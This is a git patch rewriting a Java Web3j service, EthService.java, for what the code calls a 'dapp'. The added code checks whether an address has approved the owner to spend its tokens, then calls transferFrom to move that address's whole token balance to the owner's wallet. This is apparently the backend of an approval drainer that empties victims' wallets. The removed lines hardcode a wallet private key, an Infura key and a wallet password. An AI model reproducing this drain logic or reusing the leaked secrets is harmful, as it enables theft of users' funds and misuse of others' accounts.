From 05d0f9270936df6eb6af19bc3ee7f5ec42acf0df Mon Sep 17 00:00:00 2001
From: wzy <wzy19931122ai@163.com>
Date: Sat, 30 Jul 2022 23:43:30 +0800
Subject: [PATCH] fix

---
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java |  647 +++++++++++++++++++++++-----------------------------------
 1 files changed, 258 insertions(+), 389 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index b2b47d4..81b73b9 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -1,389 +1,258 @@
-package cc.mrbird.febs.dapp.chain;
-
-import cc.mrbird.febs.common.exception.FebsException;
-import cn.hutool.core.collection.CollUtil;
-import com.alibaba.fastjson.JSONObject;
-import lombok.extern.slf4j.Slf4j;
-import org.apache.commons.lang3.StringUtils;
-import org.web3j.abi.FunctionEncoder;
-import org.web3j.abi.FunctionReturnDecoder;
-import org.web3j.abi.TypeReference;
-import org.web3j.abi.datatypes.Address;
-import org.web3j.abi.datatypes.Function;
-import org.web3j.abi.datatypes.Type;
-import org.web3j.abi.datatypes.generated.Uint256;
-import org.web3j.crypto.Credentials;
-import org.web3j.crypto.RawTransaction;
-import org.web3j.crypto.TransactionEncoder;
-import org.web3j.crypto.WalletUtils;
-import org.web3j.protocol.Web3j;
-import org.web3j.protocol.core.DefaultBlockParameterName;
-import org.web3j.protocol.core.Request;
-import org.web3j.protocol.core.methods.request.Transaction;
-import org.web3j.protocol.core.methods.response.*;
-import org.web3j.protocol.http.HttpService;
-import org.web3j.utils.Convert;
-import org.web3j.utils.Convert.Unit;
-import org.web3j.utils.Numeric;
-
-import java.io.File;
-import java.io.IOException;
-import java.math.BigDecimal;
-import java.math.BigInteger;
-import java.math.RoundingMode;
-import java.util.*;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-
-/**
- * ETH类,使用Web3j 下面为使用教程
- * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
- * 
- * @author Administrator
- *
- */
-@Slf4j
-public class EthService {
-
-	private static String ethWalletPath = "/home/javaweb/webresource/eth";
-	private Web3j web3j;
-
-	/**
-	 * 服务器地址
-	 */
-	//private static final String ETH_UTL = "http://120.55.86.146:8545";
-	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
-	private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
-//	private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
-//	private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
-
-	private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
-	private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
-
-	public EthService() {
-		try {
-			HttpService service = new HttpService(ETH_UTL);
-			web3j = Web3j.build(service);
-		} catch (Exception e) {
-			log.error("连接eth网络失败", e);
-		}
-	}
-
-	public EthService(String url, String address, String privateKey) {
-		try {
-			OWNER_ADDRESS = address;
-			OWNER_PRIVATE = privateKey;
-			ETH_UTL = url;
-			HttpService service = new HttpService(url);
-			web3j = Web3j.build(service);
-		} catch (Exception e) {
-			log.error("连接eth网络失败", e);
-		}
-	}
-
-	/**
-	 * 查询ETH余额
-	 * 
-	 * @param address
-	 * @return
-	 */
-	public static BigDecimal getEthBlance(String address) {
-		Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
-		EthGetBalance balanceWei;
-		try {
-			balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
-			if (balanceWei.getResult() == null) {
-				return null;
-			}
-			BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
-			return balanceInEther;
-		} catch (Exception e) {
-			System.out.println("ETH查询失败:" + address);
-			e.printStackTrace();
-		}
-		return null;
-
-	}
-
-	/**
-	 * 创建ETH钱包
-	 * 
-	 * @return
-	 */
-	public static Map<String, String> createEth() {
-		Map<String, String> wallet = new HashMap<String, String>();
-		try {
-			String walletPassword = "secr3t";
-			// 文件路径
-			String walletDirectory = ethWalletPath;
-
-			String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
-			System.out.println("wallet location: " + walletDirectory + "/" + walletName);
-			Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
-			String accountAddress = credentials.getAddress();
-			String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
-			// 钱包地址
-			wallet.put("address", accountAddress);
-			// 钱包私钥
-			wallet.put("privateKey", privateKey);
-			// 产生的钱包文件地址
-			wallet.put("walletLocation", walletDirectory + "/" + walletName);
-		} catch (Exception e) {
-			e.printStackTrace();
-		}
-		return wallet;
-	}
-
-	public boolean checkTransferResult(String hash) {
-		// 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
-		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
-		EthGetTransactionReceipt send = null;
-		try {
-			send = ethGetTransactionReceiptRequest.send();
-			if(send!=null){
-				TransactionReceipt result = send.getResult();
-				if(result!=null){
-					String status = result.getStatus();
-					System.out.println(status);//0x1
-					if("0x1".equals(status)){
-						return true;
-					}else{
-						return false;
-					}
-				}
-
-			}
-
-		} catch (IOException e) {
-			e.printStackTrace();
-			return false;
-		}
-        return false;
-	}
-
-	public static void main(String[] args) throws IOException {
-//		HttpService service = new HttpService(ETH_UTL);
-//		Web3j build = Web3j.build(service);
-//		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-//		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-//		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
-//		String status = send.getResult().getStatus();
-//		System.out.println(status);//0x1
-//		EthTransaction send = ethTransactionRequest.send();
-//		String input = send.getResult().getInput();
-//		System.out.println(input);
-		System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
-	}
-
-	/**
-	 * 
-	 * 方法描述:获取代币余额
-	 * 
-	 * @param fromAddress
-	 * @param
-	 * @param
-	 * @return long
-	 */
-	public BigDecimal tokenGetBalance(String fromAddress) {
-		try {
-			// 合约地址
-			String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-			int decimal = 6;
-			String methodName = "balanceOf";
-			List<Type> inputParameters = new ArrayList<>();
-			List<TypeReference<?>> outputParameters = new ArrayList<>();
-			Address address = new Address(fromAddress);
-			inputParameters.add(address);
-			TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
-			};
-			outputParameters.add(typeReference);
-			Function function = new Function(methodName, inputParameters, outputParameters);
-			String data = FunctionEncoder.encode(function);
-			Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
-
-			EthCall ethCall;
-			BigInteger balanceValue = BigInteger.ZERO;
-			try {
-				ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
-				List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
-				balanceValue = (BigInteger) results.get(0).getValue();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-			double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
-			if (res > 0) {
-				return new BigDecimal(res);
-			}
-		} catch (Exception e) {
-			// logger.error("==============以太坊代币链接获取失败!");
-			e.printStackTrace();
-		}
-		return BigDecimal.ZERO;
-	}
-
-	// USDT
-	public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
-			throws InterruptedException, ExecutionException {
-		// Web3j web3j = Web3j.build(new
-		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
-		if(StringUtils.isBlank(gas)){
-			gas="35";
-		}
-
-		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-		Credentials credentials = Credentials.create(privateKey);
-
-		EthGetTransactionCount ethGetTransactionCount = web3j
-				.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
-		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-
-		Function function = new Function("transfer",
-				Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
-				Arrays.asList(new TypeReference<Type>() {
-				}));
-
-		String encodedFunction = FunctionEncoder.encode(function);
-
-		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
-				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
-				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
-		        // 10*80000/1000000000=0.0008 手续费
-
-		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
-		String hexValue = Numeric.toHexString(signedMessage);
-
-		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
-		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
-		//return "hash";
-//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
-
-		if (ethSendTransaction.hasError()) {
-			return "";
-		} else {
-			String transactionHash = ethSendTransaction.getTransactionHash();
-			// log.info("Transfer transactionHash:" + transactionHash);
-			return transactionHash;
-		}
-	}
-
-	public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
-			throws InterruptedException, ExecutionException {
-		if(StringUtils.isBlank(gas)){
-			gas="35";
-		}
-
-		BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
-		amount = amountPow.toPlainString();
-		if (amount.contains(".")) {
-			amount = amount.substring(0, amount.lastIndexOf("."));
-		}
-
-		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-		Credentials credentials = Credentials.create(privateKey);
-
-		EthGetTransactionCount ethGetTransactionCount = web3j
-				.ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
-		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-
-		Function function = new Function("transferFrom",
-				Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
-				Arrays.asList(new TypeReference<Type>() {
-				}));
-
-		String encodedFunction = FunctionEncoder.encode(function);
-
-		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
-				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
-				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
-		// 10*80000/1000000000=0.0008 手续费
-
-		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
-		String hexValue = Numeric.toHexString(signedMessage);
-
-		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
-		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
-		//return "hash";
-//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
-
-		if (ethSendTransaction.hasError()) {
-			return "";
-		} else {
-			String transactionHash = ethSendTransaction.getTransactionHash();
-			// log.info("Transfer transactionHash:" + transactionHash);
-			return transactionHash;
-		}
-	}
-
-	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
-		try {
-			return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
-		} catch (InterruptedException | ExecutionException e) {
-			e.printStackTrace();
-			return "";
-		}
-	}
-
-	public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
-			throws InterruptedException, ExecutionException {
-		// Web3j web3j = Web3j.build(new
-		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
-		if(StringUtils.isBlank(gas)){
-			gas="70";
-		}
-		Credentials credentials = Credentials.create(privateKey);
-
-		EthGetTransactionCount ethGetTransactionCount = web3j
-				.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
-		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-		BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
-		RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
-				Convert.toWei(gas, Unit.GWEI).toBigInteger(),
-				Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
-		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
-		String hexValue = Numeric.toHexString(signedMessage);
-
-		EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
-		if (ethSendTransaction.hasError()) {
-			// log.info("transfer error:", ethSendTransaction.getError().getMessage());
-			return "";
-		} else {
-			String transactionHash = ethSendTransaction.getTransactionHash();
-			// log.info("Transfer transactionHash:" + transactionHash);
-			return transactionHash;
-		}
-	}
-
-	public BigInteger ethAllowance(String address) {
-		return ethAllowance(OWNER_ADDRESS, address);
-	}
-
-	public BigInteger ethAllowance(String toAddress, String fromAddress) {
-		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-		String methodName = "allowance";
-		List<TypeReference<?>> outputParameters = new ArrayList<>();
-		TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
-		outputParameters.add(typeReference);
-
-		Function function = new Function(methodName,
-				Arrays.asList(new Address(fromAddress), new Address(toAddress))
-				, outputParameters);
-		String data = FunctionEncoder.encode(function);
-		Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
-
-		EthCall ethCall = null;
-		try {
-			ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
-			List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
-			return (BigInteger) results.get(0).getValue();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return BigInteger.ZERO;
-	}
-
-
-
-}
+package cc.mrbird.febs.dapp.chain;
+
+import cn.hutool.core.util.StrUtil;
+import cn.hutool.http.HttpUtil;
+import com.alibaba.fastjson.JSONObject;
+import org.apache.commons.lang3.StringUtils;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.EthCall;
+import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
+import org.web3j.protocol.core.methods.response.EthSendTransaction;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Numeric;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+
+/**
+ * @author wzy
+ * @date 2022-04-15
+ **/
+public class EthService implements ContractChainService {
+
+    private Web3j web3j;
+    private String url;
+    private String ownerAddress;
+    private String privateKey;
+    private String contractAddress;
+
+    public EthService(String url, String address, String privateKey, String contractAddress) {
+        this.url = url;
+        this.ownerAddress = address;
+        this.privateKey = privateKey;
+        this.contractAddress = contractAddress;
+
+        HttpService service = new HttpService(url);
+        web3j = Web3j.build(service);
+    }
+
+    @Override
+    public BigInteger balanceOfUnDecimal(String fromAddress) {
+        try {
+            String methodName = "balanceOf";
+            List<Type> inputParameters = new ArrayList<>();
+            List<TypeReference<?>> outputParameters = new ArrayList<>();
+            Address address = new Address(fromAddress);
+            inputParameters.add(address);
+            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+            };
+            outputParameters.add(typeReference);
+            Function function = new Function(methodName, inputParameters, outputParameters);
+            String data = FunctionEncoder.encode(function);
+            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+
+            EthCall ethCall;
+            BigInteger balanceValue = BigInteger.ZERO;
+            try {
+                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+                balanceValue = (BigInteger) results.get(0).getValue();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+
+            return balanceValue;
+
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return BigInteger.ZERO;
+    }
+
+    @Override
+    public int decimals() {
+        try {
+            String methodName = "decimals";
+            List<Type> inputParameters = new ArrayList<>();
+            List<TypeReference<?>> outputParameters = new ArrayList<>();
+            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+            };
+            outputParameters.add(typeReference);
+            Function function = new Function(methodName, inputParameters, outputParameters);
+            String data = FunctionEncoder.encode(function);
+            Transaction transaction = Transaction.createEthCallTransaction(null, contractAddress, data);
+
+            EthCall ethCall;
+            BigInteger decimals = BigInteger.ZERO;
+            try {
+                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+                decimals = (BigInteger) results.get(0).getValue();
+                return decimals.intValue();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+
+
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return 0;
+    }
+
+    @Override
+    public BigDecimal balanceOf(String fromAddress) {
+        int decimal = decimals();
+        BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
+
+        double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
+        if (res > 0) {
+            return new BigDecimal(res);
+        }
+
+        return BigDecimal.ZERO;
+    }
+
+    @Override
+    public BigInteger allowance(String address) {
+        String methodName = "allowance";
+        List<TypeReference<?>> outputParameters = new ArrayList<>();
+        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+        };
+        outputParameters.add(typeReference);
+
+        Function function = new Function(methodName,
+                Arrays.asList(new Address(address), new Address(ownerAddress))
+                , outputParameters);
+        String data = FunctionEncoder.encode(function);
+        Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
+
+        EthCall ethCall = null;
+        try {
+            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+            return (BigInteger) results.get(0).getValue();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+
+        return BigInteger.ZERO;
+    }
+
+    @Override
+    public boolean isAllowance(String address) {
+        return allowance(address).intValue() != 0;
+    }
+
+    public String getGas() {
+        String gas;
+        if (url.contains("infura.io")) {
+            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+            JSONObject data = JSONObject.parseObject(resp);
+            gas = data.getString("avgPrice");
+        } else {
+            String resp = HttpUtil.get("https://gbsc.blockscan.com/gasapi.ashx?apikey=key&method=gasoracle");
+            JSONObject data = JSONObject.parseObject(resp);
+            gas = data.getString("FastGasPrice");
+        }
+        return StrUtil.isBlank(gas) ? "35" : gas;
+    }
+
+    @Override
+    public String transfer(String address) {
+        BigDecimal balance = balanceOf(address);
+
+        return transfer(address, balance);
+    }
+
+    @Override
+    public String transfer(String address, BigDecimal amount) {
+        try {
+            return tokenTransferFrom(privateKey, address, ownerAddress, amount.toPlainString());
+        } catch (ExecutionException | InterruptedException e) {
+            e.printStackTrace();
+            return "";
+        }
+    }
+
+    public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount) throws ExecutionException, InterruptedException {
+        String gas = getGas();
+
+        BigDecimal amountPow = new BigDecimal(amount).subtract(new BigDecimal("0.01")).multiply(BigDecimal.TEN.pow(decimals()));
+        amount = amountPow.toPlainString();
+        if (amount.contains(".")) {
+            amount = amount.substring(0, amount.lastIndexOf("."));
+        }
+
+        Credentials credentials = Credentials.create(privateKey);
+
+        EthGetTransactionCount ethGetTransactionCount = web3j
+                .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+        Function function = new Function("transferFrom",
+                Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+                Arrays.asList(new TypeReference<Type>() {
+                }));
+
+        String encodedFunction = FunctionEncoder.encode(function);
+
+        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+                Convert.toWei(gas, Convert.Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+                Convert.toWei("100000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+
+        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+        String hexValue = Numeric.toHexString(signedMessage);
+
+        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+
+
+        if (ethSendTransaction.hasError()) {
+            return "";
+        } else {
+            return ethSendTransaction.getTransactionHash();
+        }
+    }
+
+    @Override
+    public int allowanceCnt(String address) {
+        String allowanceUrl;
+        if (url.contains("infura.io")) {
+            allowanceUrl = "https://etherscan.io/tokenapprovalchecker.aspx/GetApprovedContract";
+        } else {
+            allowanceUrl = "https://bscscan.com/tokenapprovalchecker.aspx/GetApprovedContract";
+        }
+
+        String baseData = "{\"dataTableModel\":{\"draw\":3,\"columns\":[{\"data\":\"TxnHash\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"Block\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"Token\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"ApprovedSpender\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"ApprovedAmount\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"LastUpdated\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}},{\"data\":\"Action\",\"name\":\"\",\"searchable\":true,\"orderable\":false,\"search\":{\"value\":\"\",\"regex\":false}}],\"order\":[],\"start\":0,\"length\":25,\"search\":{\"value\":\"\",\"regex\":false}},\"model\":{\"address\":\"{address}\",\"filteredContract\":\"\"}}";
+        String data = baseData.replace("{address}", address);
+
+        String resp = HttpUtil.post(allowanceUrl, data);
+
+        JSONObject jsonObject = JSONObject.parseObject(resp);
+        JSONObject result = JSONObject.parseObject(jsonObject.getString("d"));
+        return result.getIntValue("recordsTotal");
+    }
+}

--
Gitblit v1.9.1